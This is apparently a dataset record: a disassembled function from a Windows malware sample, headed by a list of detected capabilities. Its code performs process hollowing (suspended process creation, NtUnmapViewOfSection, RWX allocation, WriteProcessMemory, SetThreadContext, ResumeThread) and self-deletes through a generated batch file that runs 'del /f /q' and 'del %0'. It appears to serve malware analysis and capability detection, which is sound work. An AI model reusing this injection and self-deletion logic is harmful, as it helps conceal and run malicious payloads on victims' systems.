Function at 0x401380
Capabilities:
Allocate or change rwx memory
Contain obfuscated stackstrings
Copy file
Create process on windows
Execute shellcode via indirect call
Get common file path
Parse pe header
Resolve function by parsing pe exports
Self delete
Terminate process

Disassembly:
push 0xffffffffffffffff
push 0x4172d0
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x378
push ebx
push ebp
push esi
push edi
push 0x48ca90
lea eax, [esp + 0x28]
push 0x48ca94
push eax
call fcn.004112fe
push 0x48ca8c
lea ecx, [esp + 0x44]
xor esi, esi
push eax
push ecx
mov dword [esp + 0x39c], esi
call fcn.004112fe
push 0x48ca88
lea edx, [esp + 0x4c]
push eax
push edx
mov byte [esp + 0x39c], 1
call fcn.004112fe
push 0x48ca84
push eax
lea eax, [esp + 0x4c]
mov byte [esp + 0x398], 2
push eax
call fcn.004112fe
push 0x48ca80
lea ecx, [esp + 0x64]
push eax
push ecx
mov byte [esp + 0x39c], 3
call fcn.004112fe
push 0x48ca7c
lea edx, [esp + 0x70]
push eax
push edx
mov byte [esp + 0x39c], 4
call fcn.004112fe
push 0x48ca78
push eax
lea eax, [esp + 0x6c]
mov byte [esp + 0x398], 5
push eax
call fcn.004112fe
push 0x48ca74
lea ecx, [esp + 0x74]
push eax
push ecx
mov byte [esp + 0x39c], 6
call fcn.004112fe
push 0x48ca70
lea edx, [esp + 0x6c]
push eax
push edx
mov byte [esp + 0x39c], 7
call fcn.004112fe
push 0x48ca6c
push eax
lea eax, [esp + 0x18]
mov byte [esp + 0x398], 8
push eax
call fcn.004112fe
lea ecx, [esp + 0x68]
mov byte [esp + 0x390], 0x12
call fcn.0041115c
lea ecx, [esp + 0x70]
mov byte [esp + 0x390], 0x11
call fcn.0041115c
lea ecx, [esp + 0x64]
mov byte [esp + 0x390], 0x10
call fcn.0041115c
lea ecx, [esp + 0x6c]
mov byte [esp + 0x390], 0xf
call fcn.0041115c
lea ecx, [esp + 0x60]
mov byte [esp + 0x390], 0xe
call fcn.0041115c
lea ecx, [esp + 0x44]
mov byte [esp + 0x390], 0xd
call fcn.0041115c
lea ecx, [esp + 0x48]
mov byte [esp + 0x390], 0xc
call fcn.0041115c
lea ecx, [esp + 0x40]
mov byte [esp + 0x390], 0xb
call fcn.0041115c
lea ecx, [esp + 0x24]
mov byte [esp + 0x390], 0xa
call fcn.0041115c
mov ecx, dword [0x48922c]
mov dword [esp + 0x18], ecx
mov edx, dword [esp + 0x10]
mov byte [esp + 0x390], 0x13
mov edi, dword [edx - 8]
mov eax, edi
cdq
sub eax, edx
sar eax, 1
push eax
call fcn.00411984
add esp, 4
mov ebp, eax
cmp edi, esi
mov dword [esp + 0x14], ebp
jle 0x4015c1
mov ebx, dword [sym.imp.SHLWAPI.dll_StrToIntExA]
push 0x489228
lea ecx, [esp + 0x1c]
call fcn.00411299
push 2
lea eax, [esp + 0x2c]
push esi
push eax
lea ecx, [esp + 0x1c]
call fcn.00410581
push eax
lea ecx, [esp + 0x1c]
mov byte [esp + 0x394], 0x14
call fcn.004114ab
lea ecx, [esp + 0x28]
mov byte [esp + 0x390], 0x13
call fcn.0041115c
mov edx, dword [esp + 0x18]
lea ecx, [esp + 0x74]
push ecx
push 1
push edx
call ebx
mov al, byte [esp + 0x74]
add esi, 2
mov byte [ebp], al
inc ebp
cmp esi, edi
jl 0x40155e
mov ebp, dword [esp + 0x14]
push 0x100
push 0x100
lea ecx, [esp + 0x18]
call fcn.004114c3
push eax
push 0
call dword [sym.imp.KERNEL32.DLL_GetModuleFileNameA]
push 0xffffffffffffffff
lea ecx, [esp + 0x14]
call fcn.00411512
mov ecx, 0x11
xor eax, eax
lea edi, [esp + 0x78]
push str.kernel32.dll
rep stosd dword es:[edi], eax
call dword [sym.imp.KERNEL32.DLL_LoadLibraryA]
mov esi, eax
test esi, esi
je 0x401820
mov ebx, dword [sym.imp.KERNEL32.DLL_GetProcAddress]
push str.CreateProcessA
push esi
call ebx
mov edi, eax
test edi, edi
je 0x401820
push esi
call dword [sym.imp.KERNEL32.DLL_FreeLibrary]
lea ecx, [esp + 0x30]
lea edx, [esp + 0x78]
mov eax, dword [esp + 0x10]
push ecx
push edx
push 0
push 0
push 4
push 0
push 0
push 0
push 0
push eax
call edi
mov edx, dword [esp + 0x34]
lea ecx, [esp + 0xbc]
push ecx
push edx
mov dword [esp + 0xc4], 0x10002
call dword [sym.imp.KERNEL32.DLL_GetThreadContext]
test eax, eax
je 0x401813
cmp word [ebp], 0x5a4d
je 0x401682
mov ecx, dword [esp + 0x30]
push 0
push ecx
jmp 0x40181a
mov esi, dword [ebp + 0x3c]
add esi, ebp
cmp dword [esi], 0x4550
je 0x40169b
mov edx, dword [esp + 0x30]
push 0
push edx
jmp 0x40181a
add esi, 4
mov dword [esp + 0x28], esi
add esi, 0x14
mov dword [esp + 0x14], esi
cmp word [esi], 0x10b
jne 0x401813
push str.Ntdll.dll
call dword [sym.imp.KERNEL32.DLL_LoadLibraryA]
mov edi, eax
test edi, edi
jne 0x4016d0
mov ecx, dword [esp + 0x30]
push eax
push ecx
jmp 0x40181a
push str.NtUnmapViewOfSection
push edi
call ebx
mov ebx, eax
test ebx, ebx
jne 0x4016e9
mov edx, dword [esp + 0x30]
push eax
push edx
jmp 0x40181a
push edi
call dword [sym.imp.KERNEL32.DLL_FreeLibrary]
mov eax, dword [esi + 0x1c]
mov ecx, dword [esp + 0x30]
push eax
push ecx
call ebx
test eax, eax
jge 0x40170b
mov edx, dword [esp + 0x30]
push 0
push edx
jmp 0x40181a
mov eax, dword [esi + 0x38]
mov ecx, dword [esi + 0x1c]
mov edx, dword [esp + 0x30]
push 0x40
push 0x3000
push eax
push ecx
push edx
call dword [sym.imp.KERNEL32.DLL_VirtualAllocEx]
mov edi, eax
push 0
test edi, edi
je 0x401815
mov ecx, dword [esi + 0x3c]
mov edx, dword [esp + 0x34]
push ecx
push ebp
push edi
push edx
call dword [sym.imp.KERNEL32.DLL_WriteProcessMemory]
test eax, eax
je 0x401813
mov ecx, dword [esp + 0x28]
mov ebx, 1
add esi, 0xe0
cmp word [ecx + 2], bx
jb 0x40179c
add esi, 0x10
mov eax, dword [esi - 4]
mov ecx, dword [esi + 4]
mov edx, dword [esi]
add eax, edi
add ecx, ebp
test edx, edx
je 0x40178a
push 0
push edx
mov edx, dword [esp + 0x38]
push ecx
push eax
push edx
call dword [sym.imp.KERNEL32.DLL_WriteProcessMemory]
test eax, eax
je 0x40168f
mov ecx, dword [esp + 0x28]
xor eax, eax
add esi, 0x28
inc ebx
mov ax, word [ecx + 2]
cmp ebx, eax
jle 0x401762
mov eax, dword [esp + 0x14]
push str.kernel32.dll
mov ecx, dword [eax + 0x10]
add ecx, edi
mov dword [esp + 0x170], ecx
call dword [sym.imp.KERNEL32.DLL_LoadLibraryA]
mov esi, eax
test esi, esi
jne 0x4017c5
mov edx, dword [esp + 0x30]
push eax
push edx
jmp 0x40181a
mov edi, dword [sym.imp.KERNEL32.DLL_GetProcAddress]
push str.SetThreadContext
push esi
call edi
test eax, eax
je 0x401813
mov edx, dword [esp + 0x34]
lea ecx, [esp + 0xbc]
push ecx
push edx
call eax
test eax, eax
je 0x401813
push str.ResumeThread
push esi
call edi
mov edi, eax
test edi, edi
jne 0x401800
mov ecx, dword [esp + 0x30]
push eax
push ecx
jmp 0x40181a
push esi
call dword [sym.imp.KERNEL32.DLL_FreeLibrary]
mov edx, dword [esp + 0x34]
push edx
call edi
cmp eax, 0xffffffff
jne 0x401860
push 0
mov eax, dword [esp + 0x34]
push eax
call dword [sym.imp.KERNEL32.DLL_TerminateProcess]
lea ecx, [esp + 0x18]
mov byte [esp + 0x390], 0xa
call fcn.0041115c
lea ecx, [esp + 0x10]
mov dword [esp + 0x390], 0xffffffff
call fcn.0041115c
mov ecx, dword [esp + 0x388]
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
mov dword fs:[0], ecx
add esp, 0x384
ret
mov ecx, dword [esp + 0x30]
push 0xffffffffffffffff
push ecx
call dword [sym.imp.KERNEL32.DLL_WaitForSingleObject]
push 0
call fcn.004026a7
push eax
call fcn.00402678
mov eax, dword [0x48922c]
add esp, 8
mov dword [esp + 0x20], eax
mov dword [esp + 0x1c], eax
mov dword [esp + 0x2c], eax
mov bl, 0x17
push 0x104
push 0x104
lea ecx, [esp + 0x28]
mov byte [esp + 0x398], bl
call fcn.004114c3
push eax
push 0
call dword [sym.imp.KERNEL32.DLL_GetModuleFileNameA]
push 0xffffffffffffffff
lea ecx, [esp + 0x24]
call fcn.00411512
mov esi, dword [esp + 0x2c]
push 0x104
push 0x104
lea ecx, [esp + 0x34]
call fcn.004114c3
push eax
push esi
mov esi, dword [sym.imp.KERNEL32.DLL_GetShortPathNameA]
call esi
push 0xffffffffffffffff
lea ecx, [esp + 0x30]
call fcn.00411512
push 0x5c
lea ecx, [esp + 0x24]
call fcn.0041068f
inc eax
lea edx, [esp + 0x14]
push eax
push edx
lea ecx, [esp + 0x28]
call fcn.00410617
push eax
lea ecx, [esp + 0x30]
mov byte [esp + 0x394], 0x18
call fcn.00411249
lea ecx, [esp + 0x14]
mov byte [esp + 0x390], bl
call fcn.0041115c
push 0x5c
lea ecx, [esp + 0x24]
call fcn.0041068f
inc eax
lea ecx, [esp + 0x20]
push eax
lea eax, [esp + 0x18]
push eax
call fcn.0041055e
push eax
lea ecx, [esp + 0x24]
mov byte [esp + 0x394], 0x19
call fcn.00411249
lea ecx, [esp + 0x14]
mov byte [esp + 0x390], bl
call fcn.0041115c
push 0x104
lea ecx, [esp + 0x20]
call fcn.004114c3
push eax
push 0x104
call dword [sym.imp.KERNEL32.DLL_GetTempPathA]
push 0xffffffffffffffff
lea ecx, [esp + 0x20]
call fcn.00411512
mov edi, dword [esp + 0x1c]
push 0x104
push 0x104
lea ecx, [esp + 0x24]
call fcn.004114c3
push eax
push edi
call esi
push 0xffffffffffffffff
lea ecx, [esp + 0x20]
call fcn.00411512
lea ecx, [esp + 0x1c]
push str.jnduf.tmp
lea edx, [esp + 0x28]
push ecx
push edx
call fcn.00411364
mov esi, dword [eax]
lea eax, [esp + 0x20]
lea ecx, [esp + 0x2c]
push eax
lea edx, [esp + 0x18]
push ecx
push edx
mov byte [esp + 0x39c], 0x1a
call fcn.004112fe
mov eax, dword [eax]
push 0
push esi
push eax
call dword [sym.imp.KERNEL32.DLL_CopyFileA]
lea ecx, [esp + 0x14]
call fcn.0041115c
lea ecx, [esp + 0x24]
mov byte [esp + 0x390], bl
call fcn.0041115c
lea ecx, [esp + 0x4c]
call fcn.0041155a
lea eax, [esp + 0x1c]
push str.jnduf.bat
lea ecx, [esp + 0x18]
mov bl, 0x1b
push eax
push ecx
mov byte [esp + 0x39c], bl
call fcn.00411364
mov eax, dword [eax]
push 0
push 0x1002
push eax
lea ecx, [esp + 0x58]
mov byte [esp + 0x39c], 0x1c
call fcn.004115cf
lea ecx, [esp + 0x14]
mov esi, eax
mov byte [esp + 0x390], bl
call fcn.0041115c
test esi, esi
je 0x401c4d
push str._echo_off_n
lea ecx, [esp + 0x50]
call fcn.00411742
lea edx, [esp + 0x2c]
lea eax, [esp + 0x40]
push edx
push str.del__f__q
push eax
call fcn.004113d8
lea ecx, [esp + 0x20]
lea edx, [esp + 0x24]
push ecx
push eax
push edx
mov byte [esp + 0x39c], 0x1d
call fcn.004112fe
push 0x48918c
push eax
lea eax, [esp + 0x1c]
mov byte [esp + 0x398], 0x1e
push eax
call fcn.00411364
mov eax, dword [eax]
lea ecx, [esp + 0x4c]
push eax
mov byte [esp + 0x394], 0x1f
call fcn.00411742
lea ecx, [esp + 0x14]
mov byte [esp + 0x390], 0x1e
call fcn.0041115c
lea ecx, [esp + 0x24]
mov byte [esp + 0x390], 0x1d
call fcn.0041115c
lea ecx, [esp + 0x40]
mov byte [esp + 0x390], bl
call fcn.0041115c
lea ecx, [esp + 0x1c]
lea edx, [esp + 0x44]
push ecx
push str.copy
push edx
call fcn.004113d8
push 0x489178
push eax
lea eax, [esp + 0x50]
mov byte [esp + 0x398], 0x20
push eax
call fcn.00411364
lea ecx, [esp + 0x2c]
lea edx, [esp + 0x40]
push ecx
push eax
push edx
mov byte [esp + 0x39c], 0x21
call fcn.004112fe
lea ecx, [esp + 0x20]
lea edx, [esp + 0x24]
push ecx
push eax
push edx
mov byte [esp + 0x39c], 0x22
call fcn.004112fe
push 0x48918c
push eax
lea eax, [esp + 0x1c]
mov byte [esp + 0x398], 0x23
push eax
call fcn.00411364
mov eax, dword [eax]
lea ecx, [esp + 0x4c]
push eax
mov byte [esp + 0x394], 0x24
call fcn.00411742
lea ecx, [esp + 0x14]
mov byte [esp + 0x390], 0x23
call fcn.0041115c
lea ecx, [esp + 0x24]
mov byte [esp + 0x390], 0x22
call fcn.0041115c
lea ecx, [esp + 0x40]
mov byte [esp + 0x390], 0x21
call fcn.0041115c
lea ecx, [esp + 0x48]
mov byte [esp + 0x390], 0x20
call fcn.0041115c
lea ecx, [esp + 0x44]
mov byte [esp + 0x390], bl
call fcn.0041115c
lea ecx, [esp + 0x1c]
lea edx, [esp + 0x24]
push ecx
push str.del__f__q
push edx
call fcn.004113d8
push str.jnduf.tmp_n
push eax
lea eax, [esp + 0x1c]
mov byte [esp + 0x398], 0x25
push eax
call fcn.00411364
mov eax, dword [eax]
lea ecx, [esp + 0x4c]
push eax
mov byte [esp + 0x394], 0x26
call fcn.00411742
lea ecx, [esp + 0x14]
mov byte [esp + 0x390], 0x25
call fcn.0041115c
lea ecx, [esp + 0x24]
mov byte [esp + 0x390], bl
call fcn.0041115c
push str.del__0
lea ecx, [esp + 0x50]
call fcn.00411742
lea ecx, [esp + 0x4c]
call fcn.004118ff
lea ecx, [esp + 0x1c]
push str.jnduf.tmp
lea edx, [esp + 0x18]
push ecx
push edx
call fcn.00411364
mov eax, dword [eax]
push 0
push 2
push eax
lea ecx, [esp + 0x58]
mov byte [esp + 0x39c], 0x27
call fcn.004115cf
lea ecx, [esp + 0x14]
mov esi, eax
mov byte [esp + 0x390], bl
call fcn.0041115c
test esi, esi
je 0x401d2e
push 2
push 0xfffffffffffffff0
lea ecx, [esp + 0x54]
call fcn.00411875
mov eax, dword [0x48922c]
mov dword [esp + 0x28], eax
mov byte [esp + 0x390], 0x28
call fcn.00402685
push eax
call fcn.00402685
push eax
call fcn.00402685
push eax
call fcn.00402685
push eax
lea ecx, [esp + 0x38]
push str._d_d_d_d
push ecx
call fcn.004109fe
mov eax, dword [esp + 0x40]
add esp, 0x18
mov ecx, dword [eax - 8]
push ecx
push eax
lea ecx, [esp + 0x54]
call fcn.0041170f
lea ecx, [esp + 0x4c]
call fcn.004118ff
lea edx, [esp + 0x1c]
push str.jnduf.bat
lea eax, [esp + 0x18]
push edx
push eax
call fcn.00411364
mov eax, dword [eax]
push 0
push eax
call dword [sym.imp.KERNEL32.DLL_WinExec]
lea ecx, [esp + 0x14]
call fcn.0041115c
lea ecx, [esp + 0x28]
mov byte [esp + 0x390], bl
call fcn.0041115c
push 0
call fcn.00402585
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov cl, byte [0x48f274]
mov al, 1
test al, cl
jne 0x401d54
or cl, al
mov byte [0x48f274], cl
jmp 0x401d60
push 0x401030
call fcn.00402517
pop ecx
ret